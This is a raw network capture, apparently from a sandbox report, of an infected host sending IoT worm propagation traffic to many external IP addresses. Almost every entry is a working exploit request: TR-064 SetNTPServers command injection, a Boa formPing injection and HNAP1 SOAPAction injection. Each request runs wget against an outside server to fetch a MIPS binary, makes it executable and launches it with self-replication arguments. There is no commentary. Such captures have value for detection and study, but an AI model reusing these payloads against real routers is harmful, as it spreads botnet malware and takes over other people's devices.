Apr 15, 2024 08:53:54.151206970 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:54.476360083 CEST	191	IN	HTTP/1.1 404 Not Found Connection: close Content-Type: text/html Content-Length: 89 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1353	192.168.2.13	59592	93.176.172.234	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:53.144654989 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:54.151134014 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1354	192.168.2.13	56746	197.203.82.105	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:53.144985914 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1355	192.168.2.13	57240	119.204.53.252	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:53.187315941 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:54.042226076 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1356	192.168.2.13	48626	83.132.232.71	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:53.197599888 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1357	192.168.2.13	39042	24.213.101.176	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:53.233189106 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1358	192.168.2.13	45958	191.61.181.8	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:53.321722031 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:54.308381081 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:56.256484032 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1359	192.168.2.13	42184	163.191.63.110	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:53.715725899 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:56.832387924 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1360	192.168.2.13	51732	24.232.201.98	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:53.809108973 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1361	192.168.2.13	42238	163.191.63.110	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:53.926780939 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:54.592401981 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:55.872525930 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1362	192.168.2.13	55442	50.48.75.22	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:53.950993061 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1363	192.168.2.13	45880	121.171.208.226	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:54.005083084 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1364	192.168.2.13	40840	121.190.36.35	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:54.006079912 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1365	192.168.2.13	51790	24.232.201.98	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:54.117058039 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1366	192.168.2.13	55454	50.48.75.22	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:54.186127901 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1367	192.168.2.13	36314	187.45.106.253	7547

Timestamp	Bytes transferred	Direction	Data
